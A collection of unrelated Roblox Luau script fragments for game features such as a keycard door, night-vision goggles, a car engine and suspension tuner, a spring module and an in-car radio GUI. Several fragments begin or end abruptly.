local door = script.Parent local CanOpen1 = true local CanClose1 = false local clearance = { ["[SCP] Card-Omni"] = true, ["[SCP] Card-L5"] = true, ["[SCP] Card-L4"] = true, ["[SCP] Card-L3"] = true, ["[SCP] Card-L2"] = true, ["[SCP] Card-L1"] = true } --DO NOT EDIT PAST THIS LINE-- function openDoor() for i = 1,(door.Size.z / 0.30) do wait() door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.30) end end function closeDoor() for i = 1,(door.Size.z / 0.30) do wait() door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.30) end end script.Parent.Parent.KeycardReader1.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then CanOpen1 = false wait(0.75) openDoor() wait(1) CanClose1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then CanClose1 = false wait(0.75) closeDoor() wait(1) CanOpen1 = true end end) script.Parent.Parent.KeycardReader2.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then CanOpen1 = false wait(0.75) openDoor() wait(1) CanClose1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then CanClose1 = false wait(0.75) closeDoor() wait(1) CanOpen1 = true end end)
--[[ Local Constants ]]
-- local VR_ANGLE = math.rad(15) local VR_PANEL_SIZE = 512 local VR_ZOOM = 7 local VR_FADE_SPEED = 10 -- 1/10 second local VR_SCREEN_EGDE_BLEND_TIME = 0.14 local VR_SEAT_OFFSET = Vector3.new(0,4,0) local CameraInput = require(script.Parent:WaitForChild("CameraInput")) local ZoomController = require(script.Parent:WaitForChild("ZoomController")) local Players = game:GetService("Players") local player = Players.LocalPlayer local Lighting = game:GetService("Lighting")
--EDIT BELOW----------------------------------------------------------------------
settings.PianoSoundRange = 60 settings.KeyAesthetics = true settings.PianoSounds = { "714321897", "714321981", "714322052", "714322096", "714322161", "715236879" }
--[=[ @class ClientRemoteSignal @client Created via `ClientComm:GetSignal()`. ]=]
local ClientRemoteSignal = {} ClientRemoteSignal.__index = ClientRemoteSignal
--function Util.guard(...) -- local converted = {...} -- assert(type(converted[#converted]) == "string", "Util.Guard Requires String as Last Arg") -- for _, condition in pairs(converted) do -- if not condition then -- warn(converted[#converted]) -- return -- end -- end --end
return Util
--//DEFAULT VALUES
local defexposure = game.Lighting.ExposureCompensation local nvg local onanim local gui local offanim local config local onremoved local setting local helmet function removehelmet() if plr.Character then if onremoved then onremoved:Disconnect() end animating = false togglenvg(false) actionservice:UnbindAction("nvgtoggle") if gui then gui:Destroy() end if helmet then helmet:Destroy() end end end function oncharadded(newchar) newchar:WaitForChild("Humanoid").Died:connect(function() removehelmet() end) newchar.ChildAdded:connect(function(child) local removebutton if child.Name == "Helmet" then helmet = child gui = Instance.new("ScreenGui") gui.IgnoreGuiInset = true removebutton = Instance.new("TextButton") removebutton.Text = "Helmet" removebutton.Size = UDim2.new(.05,0,.035,0) removebutton.TextColor3 = Color3.new(.75,.75,.75) removebutton.Position = UDim2.new(.1,0,.3,0) removebutton.BackgroundTransparency = 1 removebutton.BackgroundColor3 = Color3.fromRGB(124, 52, 38) removebutton.Font = Enum.Font.SourceSansBold removebutton.TextScaled = true removebutton.TextTransparency = 1 removebutton.MouseButton1Down:connect(removehelmet) removebutton.Parent = gui gui.Parent = plr.PlayerGui onremoved = child.AncestryChanged:Connect(function(_, parent) if not parent then removehelmet() end end) end local newnvg = child:WaitForChild("Up",.5) if newnvg then nvg = newnvg config = require(nvg:WaitForChild("AUTO_CONFIG")) setting = nvg:WaitForChild("NVG_Settings") local noise = Instance.new("ImageLabel") noise.BackgroundTransparency = 1 noise.ImageTransparency = 1 local overlay = noise:Clone() overlay.Image = "rbxassetid://"..setting.OverlayImage.Value overlay.Size = UDim2.new(1,0,1,0) overlay.Name = "Overlay" overlay.ZIndex = 2 local buttonpos = setting.RemoveButtonPosition.Value removebutton.Position = UDim2.new(buttonpos.X,0,buttonpos.Y,0) noise.Name = "Noise" noise.AnchorPoint = Vector2.new(.5,.5) noise.Position = UDim2.new(.5,0,.5,0) noise.Size = UDim2.new(2,0,2,0) overlay.Parent = gui noise.Parent = gui local info = config.tweeninfo local function addtweens(base,extra) if extra then for _,tween in pairs(extra)do table.insert(base,tween) end end end onanim = config.onanim offanim = config.offanim on_overlayanim = { tweenservice:Create(game.Lighting,info,{ExposureCompensation = setting.Exposure.Value}), tweenservice:Create(colorcorrection,info,{Brightness = setting.OverlayBrightness.Value,Contrast = .8,Saturation = -1,TintColor = setting.OverlayColor.Value}), tweenservice:Create(gui.Overlay,info,{ImageTransparency = 0}), tweenservice:Create(gui.Noise,info,{ImageTransparency = 0}), } off_overlayanim = { tweenservice:Create(game.Lighting,info,{ExposureCompensation = defexposure}), tweenservice:Create(colorcorrection,info,{Brightness = 0,Contrast = 0,Saturation = 0,TintColor = Color3.fromRGB(255, 255, 255)}), tweenservice:Create(gui.Overlay,info,{ImageTransparency = 1}), tweenservice:Create(gui.Noise,info,{ImageTransparency = 1}), } actionservice:BindAction("nvgtoggle",function() togglenvg(not nvgactive) return Enum.ContextActionResult.Pass end, true, Enum.KeyCode.N) end end) end plr.CharacterAdded:connect(oncharadded) local oldchar = workspace:FindFirstChild(plr.Name) if oldchar then oncharadded(oldchar) end function playtween(tweentbl) spawn(function() for _,step in pairs(tweentbl) do if typeof(step) == "number" then wait(step) else step:Play() end end end) end function applyprops(obj,props) for propname,val in pairs(props)do obj[propname] = val end end function cycle(grain) local label = gui.Noise local source = grain.src local newframe repeat newframe = source[math.random(1, #source)]; until newframe ~= grain.last label.Image = 'rbxassetid://'..newframe local rand = math.random(230,255) label.Position = UDim2.new(math.random(.4,.6),0,math.random(.4,.6),0) label.ImageColor3 = Color3.fromRGB(rand,rand,rand) grain.last = newframe end function togglenvg(bool) if not animating and nvg then nvgevent:FireServer() gui.TextButton.Visible = not bool animating = true nvgactive = bool if config.lens then config.lens.Material = bool and "Neon" or "Glass" end if bool then playtween(onanim) delay(.75,function() playtween(on_overlayanim) spawn(function() while nvgactive do cycle(config.dark) cycle(config.light) wait(0.05) end end) animating = false end) else playtween(offanim) delay(.5,function() playtween(off_overlayanim) animating = false end) end end end nvgevent.OnClientEvent:connect(function(nvg,activate) local twistjoint = nvg:WaitForChild("twistjoint") local config = require(nvg.AUTO_CONFIG) local lens = config.lens if lens then lens.Material = activate and "Neon" or "Glass" end playtween(config[activate and "onanim" or "offanim"]) end) local lighting = game.Lighting local rs = game.ReplicatedStorage local autolighting = rs:WaitForChild("EnableAutoLighting") if autolighting.Value then function llerp(a,b,t) return a*(1-t)+b*t end local minbrightness = rs:WaitForChild("MinBrightness").Value local maxbrightness = rs:WaitForChild("MaxBrightness").Value local minambient = rs:WaitForChild("MinAmbient").Value local maxambient = rs:WaitForChild("MaxAmbient").Value local minoutdoor = rs:WaitForChild("MinOutdoorAmbient").Value local maxoutdoor = rs:WaitForChild("MaxOutdoorAmbient").Value function setdaytime() local newtime = lighting.ClockTime local middaydiff = math.abs(newtime-12) local f = (1-middaydiff/12) lighting.Brightness = llerp(minbrightness,maxbrightness,f) lighting.Ambient = minambient:lerp(maxambient,f) lighting.OutdoorAmbient = minoutdoor:lerp(maxoutdoor,f) end game:GetService("RunService").RenderStepped:connect(setdaytime) end
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult local fFDr = fFD*30/math.pi local cGrav = workspace.Gravity*_Tune.InclineComp/32.2 local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then _TCount = 1 _TPsi = _Tune.Boost elseif _Tune.Aspiration == "Double" then _TCount = 2 _TPsi = _Tune.Boost*2 end --Horsepower Curve local HP=_Tune.Horsepower/100 local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100 local Peak=_Tune.PeakRPM/1000 local Sharpness=_Tune.PeakSharpness local CurveMult=_Tune.CurveMult local EQ=_Tune.EqPoint/1000 --Horsepower Curve function curveHP(RPM) RPM=RPM/1000 return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1)))) end local PeakCurveHP = curveHP(_Tune.PeakRPM) function curvePSI(RPM) RPM=RPM/1000 return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1)))) end local PeakCurvePSI = curvePSI(_Tune.PeakRPM) --Plot Current Horsepower function GetCurve(x,gear) local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end --Plot Current Boost (addition to Horsepower) function GetPsiCurve(x,gear) local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end --Output Cache local HPCache = {} local PSICache = {} for gear,ratio in pairs(_Tune.Ratios) do local nhpPlot = {} local bhpPlot = {} for rpm = math.floor(_Tune.IdleRPM/100),math.ceil((_Tune.Redline+100)/100) do local ntqPlot = {} local btqPlot = {} ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*100,gear-2) btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*100,gear-2) hp1,tq1 = GetCurve((rpm+1)*100,gear-2) hp2,tq2 = GetPsiCurve((rpm+1)*100,gear-2) ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower) btqPlot.HpSlope = (hp2 - btqPlot.Horsepower) ntqPlot.TqSlope = (tq1 - ntqPlot.Torque) btqPlot.TqSlope = (tq2 - btqPlot.Torque) nhpPlot[rpm] = ntqPlot bhpPlot[rpm] = btqPlot end table.insert(HPCache,nhpPlot) table.insert(PSICache,bhpPlot) end --Powertrain wait() --Automatic Transmission function Auto() local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _IsOn then _ClutchOn = true if _CGear >= 1 then if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then _CGear = 1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then _GThrotShift = 0 wait(_Tune.ShiftTime) _GThrotShift = 1 end _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then if _CGear ~= 1 then _GThrotShift = 0 wait(_Tune.ShiftTime/2) _GThrotShift = 1 end _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then _GThrotShift = 0 wait(_Tune.ShiftTime) _GThrotShift = 1 end _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then if _CGear ~= 1 then _GThrotShift = 0 wait(_Tune.ShiftTime/2) _GThrotShift = 1 end _CGear=math.max(_CGear-1,1) end end end end end end local tqTCS = 1 local sthrot = 0 --Apply Power function Engine() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 local maxCount=0 for i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end maxSpin=maxSpin/maxCount if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end local TPsi = _TPsi/_TCount if _Tune.Aspiration ~= "Super" then _Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((8/_Tune.TurboSize)*2))/TPsi)*15) if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end else if _GThrot>sthrot then sthrot=math.min(_GThrot,sthrot+_Tune.Sensitivity) elseif _GThrot<sthrot then sthrot=math.max(_GThrot,sthrot-_Tune.Sensitivity) end _Boost = (_RPM/_Tune.Redline)*(.5+(1.5*sthrot)) end local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)] _NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1) if _Tune.Aspiration ~= "Natural" then local bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)] _BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _HP = _NH + (_BH*(_Boost/2)) _OutTorque = _NT + (_BT*(_Boost/2)) else _HP = _NH _OutTorque = _NT end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp)) --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and (v.Name=="RR" or v.Name=="RL") then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if _GBrake==0 then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not script.Parent.IsOn.Value then on=0 end local clutch=1 if not _ClutchOn then clutch=0 end local throt = _GThrot * _GThrotShift local tq = _OutTorque --Apply AWD Vectoring if _Tune.Config == "AWD" then local bias = (_Tune.TorqueVector+1)/2 if v.Name=="FL" or v.Name=="FR" then tq = tq*(1-bias) elseif v.Name=="RL" or v.Name=="RR" then tq = tq*bias end end --Apply TCS tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSAmt = tqTCS _TCSActive = true end --Update Forces local dir=1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*tq*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end _ABSActive = (tqABS<1) --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
--[[ eslint import/export: 0]] --[[ ROBLOX deviation: function overloads not handled export function getPath< Obj extends Template, A extends keyof Obj, B extends keyof Obj[A], C extends keyof Obj[A][B], D extends keyof Obj[A][B][C], E extends keyof Obj[A][B][C][D], >(obj: Obj, path: [A, B, C, D, E]): Obj[A][B][C][D][E]; export function getPath< Obj extends Template, A extends keyof Obj, B extends keyof Obj[A], C extends keyof Obj[A][B], D extends keyof Obj[A][B][C], >(obj: Obj, path: [A, B, C, D]): Obj[A][B][C][D]; export function getPath< Obj extends Template, A extends keyof Obj, B extends keyof Obj[A], C extends keyof Obj[A][B], >(obj: Obj, path: [A, B, C]): Obj[A][B][C]; export function getPath< Obj extends Template, A extends keyof Obj, B extends keyof Obj[A], >(obj: Obj, path: [A, B]): Obj[A][B]; export function getPath<Obj extends Template, A extends keyof Obj>( obj: Obj, path: [A], ): Obj[A]; export function getPath<Obj extends Template>( obj: Obj, path: Array<string>, ): unknown; ]]
function getPath(template: Template, ref: Array<string>): any local head = table.unpack(ref, 1, 1) local tail = if #ref > 1 then { table.unpack(ref, 2) } else {} if not Boolean.toJSBoolean(head) or template[head] == nil then return template end return getPath(template[head] :: Template, tail) end exports.getPath = getPath return exports
--for i,v in pairs(script.Parent.Plates:GetChildren()) do -- v.SGUI.Sidepiece.Text = country --end --for i,v in pairs(script.Parent.Plates:GetChildren()) do -- v.SGUI.Sidepiece.Emblem.Image = image --end --for i,v in pairs(script.Parent.Plates:GetChildren()) do -- v.SGUI.Sidepiece.Emblem.Size = size --end --for i,v in pairs(script.Parent.Plates:GetChildren()) do -- v.SGUI.Sidepiece.Emblem.Position = position --end
--[[ Creates a new spring. ]]
function Spring.new(initial, td, ts) local d=td or 1 local s=ts or 1 local p0=initial or 0 local v0=0*p0 local p1=p0 local v1=v0 local t0=tick() local selfmeta={} local meta={} function selfmeta.getpv() return posvel(d,s,p0,v0,p1,v1,tick()-t0) end function selfmeta.setpv(p,v) local time=tick() local tp,tv=targposvel(p1,v1,time-t0) p0,v0=p,v p1,v1=tp,tv t0=time end function selfmeta.settargetpv(tp,tv) local time=tick() local p,v=posvel(d,s,p0,v0,p1,v1,time-t0) p0,v0=p,v p1,v1=tp,tv t0=time end function selfmeta:accelerate(a) local time=tick() local p,v=posvel(d,s,p0,v0,p1,v1,time-t0) local tp,tv=targposvel(p1,v1,time-t0) p0,v0=p,v+a p1,v1=tp,tv t0=time end function meta.__index(_self,index) local time=tick() if index=="p" or index=="position" then local p,_v=posvel(d,s,p0,v0,p1,v1,time-t0) return p elseif index=="v" or index=="velocity" then local _p,v=posvel(d,s,p0,v0,p1,v1,time-t0) return v elseif index=="tp" or index=="t" or index=="targetposition" then local tp,_tv=targposvel(p1,v1,time-t0) return tp elseif index=="tv" or index=="targetvelocity" then local _tp,tv=targposvel(p1,v1,time-t0) return tv elseif index=="d" or index=="damper" then return d elseif index=="s" or index=="speed" then return s else error("no value "..tostring(index).." exists") end end function meta.__newindex(_self,index,value) local time=tick() if index=="p" or index=="position" then local _p,v=posvel(d,s,p0,v0,p1,v1,time-t0) local tp,tv=targposvel(p1,v1,time-t0) p0,v0=value,v p1,v1=tp,tv elseif index=="v" or index=="velocity" then local p,_v=posvel(d,s,p0,v0,p1,v1,time-t0) local tp,tv=targposvel(p1,v1,time-t0) p0,v0=p,value p1,v1=tp,tv elseif index=="tp" or index=="t" or index=="targetposition" then local p,v=posvel(d,s,p0,v0,p1,v1,time-t0) local _tp,tv=targposvel(p1,v1,time-t0) p0,v0=p,v p1,v1=value,tv elseif index=="tv" or index=="targetvelocity" then local p,v=posvel(d,s,p0,v0,p1,v1,time-t0) local tp,_tv=targposvel(p1,v1,time-t0) p0,v0=p,v p1,v1=tp,value elseif index=="d" or index=="damper" then local p,v=posvel(d,s,p0,v0,p1,v1,time-t0) local tp,tv=targposvel(p1,v1,time-t0) p0,v0=p,v p1,v1=tp,tv d=value elseif index=="s" or index=="speed" then local p,v=posvel(d,s,p0,v0,p1,v1,time-t0) local tp,tv=targposvel(p1,v1,time-t0) p0,v0=p,v p1,v1=tp,tv s=value elseif index=="a" or index=="acceleration" then t0=tick() local p,v=posvel(d,s,p0,v0,p1,v1,time-t0) local tp,tv=targposvel(p1,v1,time-t0) p0,v0=p,v+value p1,v1=tp,tv else error("no value "..tostring(index).." exists") end t0=time end return setmetatable(selfmeta,meta) end return Spring
--- Concats `target` with `source` -- @tparam table target Table to append to -- @tparam table source Table read from -- @treturn table parameter table
function Table.append(target, source) for _, value in pairs(source) do target[#target+1] = value end return target end
-- Hello Controller -- Username -- August 29, 2020
local HelloController = {} function HelloController:SayHello() --print("Hello!") end function HelloController:Start() self.Controllers.TestController:ConnectEvent("Test", function(msg) --print(msg) end) self.Services.MyService:SendMsg("Hello sent at: " ..tick()) self.Services.MyService.Fade:Connect(function(InOut) if (InOut == "out") then --Fades outend) self.Services.MyService.AnotherMessage:Fire("lol") print("out") self.Controllers.Fade:Out() else print("in") self.Controllers.Fade:In() end end) self.Services.MyService.AnotherMessage:Fire("lol") local test = self.Modules.TestModule test.ABC = 64 end function HelloController:Init() end return HelloController
--// Player Events
game:GetService("RunService").Heartbeat:Connect(function() for _,v in pairs(game.Players:GetPlayers()) do UpdateTag(v); end; end)
--[[Finalize Chassis]]
--Misc Weld wait() for i,v in pairs(script:GetChildren()) do if v:IsA("ModuleScript") then require(v) end end --Weld Body wait() ModelWeld(car.Body,car.DriveSeat) --Unanchor wait() UnAnchor(car.Body) UnAnchor(car.Wheels) UnAnchor(car.DriveSeat)
--[[** ensures Roblox DateTime type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.DateTime = t.typeof("DateTime")
-- ~15 c/s
while wait(.0667) do --Power Engine() --Flip if _Tune.AutoFlip then Flip() end end
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 300 -- Spring Dampening Tune.FSusStiffness = 8000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2.2 -- Suspension length (in studs) Tune.FPreCompress = .95 -- Pre-compression adds resting length force Tune.FExtensionLim = 1.1 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 90 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0.5 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -0.3 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 300 -- Spring Dampening Tune.RSusStiffness = 8000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2.2 -- Suspension length (in studs) Tune.RPreCompress = .7 -- Pre-compression adds resting length force Tune.RExtensionLim = 1.1 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 90 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0.5 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -0.3 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .0 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
-- Roblox User Input Control Modules - each returns a new() constructor function used to create controllers as needed
local Keyboard = require(script:WaitForChild("Keyboard")) local Gamepad = require(script:WaitForChild("Gamepad")) local DynamicThumbstick = require(script:WaitForChild("DynamicThumbstick")) local FFlagUserHideControlsWhenMenuOpen do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserHideControlsWhenMenuOpen") end) FFlagUserHideControlsWhenMenuOpen = success and result end local TouchThumbstick = require(script:WaitForChild("TouchThumbstick"))
------------------------------------------
gui.Track.Text = radio.TName.Value radio.TName.Changed:connect(function() gui.Track.Text = radio.TName.Value seat.Parent.Body.Dash.Scr.G.Song.Text = radio.TName.Value end) gui.Stop.MouseButton1Click:connect(function() if radio.Stopped.Value == false then radio.Stopped.Value = true end end) gui.Pause.MouseButton1Click:connect(function() if radio.Paused.Value == false and radio.Stopped.Value == false then radio.Paused.Value = true end end) gui.Play.MouseButton1Click:connect(function() if radio.Stopped.Value == true then radio.Play.Value = not radio.Play.Value else if radio.Paused.Value == true then radio.Paused.Value = false end end end) gui.Forward.MouseButton1Click:connect(function() local n = radio.Track.Value+1 if n>#radio.Songs:GetChildren() then n = 1 end radio.Track.Value = n end) gui.Back.MouseButton1Click:connect(function() local n = radio.Track.Value-1 if n<=0 then n = #radio.Songs:GetChildren() end radio.Track.Value = n end) gui.AutoplayOn.MouseButton1Click:connect(function() if radio.Autoplay.Value == true then radio.Autoplay.Value = false end end) gui.AutoplayOff.MouseButton1Click:connect(function() if radio.Autoplay.Value == false then radio.Autoplay.Value = true end end) gui.List.MouseButton1Click:connect(function() gui.Menu.Visible=not gui.Menu.Visible end) gui.Id.MouseButton1Click:connect(function() gui.IdPlayer.Visible=not gui.IdPlayer.Visible if gui.IdPlayer.Visible then gui.Id.Rotation=180 else gui.Id.Rotation=0 end end) gui.IdPlayer.Play.MouseButton1Click:connect(function() if radio.IdPlay.Value==gui.IdPlayer.TextBox.Text then radio.IdPlay.Value="" wait() end radio.IdPlay.Value=gui.IdPlayer.TextBox.Text end) for i,v in pairs(gui.Menu:GetChildren()) do v.MouseButton1Click:connect(function() radio.Track.Value = i end) end function Stopped() if radio.Stopped.Value == true then gui.Pause.Visible = false gui.Play.Visible = true else gui.Play.Visible = false gui.Pause.Visible = true end end function Paused() if radio.Paused.Value == true then gui.Pause.Visible = false gui.Play.Visible = true else if radio.Stopped.Value == false then gui.Play.Visible = false gui.Pause.Visible = true end end end function Autoplay() if radio.Autoplay.Value == true then gui.AutoplayOff.Visible = false gui.AutoplayOn.Visible = true else gui.AutoplayOn.Visible = false gui.AutoplayOff.Visible = true end end radio.Stopped.Changed:connect(Stopped) radio.Paused.Changed:connect(Paused) radio.Autoplay.Changed:connect(Autoplay) Stopped() Paused() Autoplay() while wait(.5) do if seat:FindFirstChild("SeatWeld") == nil then script.Parent:Destroy() end end
--[[ Novena Constraint Type: Motorcycle The Bike Chassis RikOne2 | Enjin --]]
local bike = script.Parent.Bike.Value local _Tune = require(bike["Tuner"]) local handler = bike:WaitForChild("AC6_Sound") local on = 0 local mult=0 local det=0 local trm=.4 local trmmult=0 local trmon=0 local throt=0 local redline=0 local shift=0 local SetPitch = .1 local SetRev = .6 local vol = 2 --Set the volume for everything below handler:FireServer("stopSound",bike.DriveSeat:WaitForChild("Rev"))
-- Container for temporary connections (disconnected automatically)
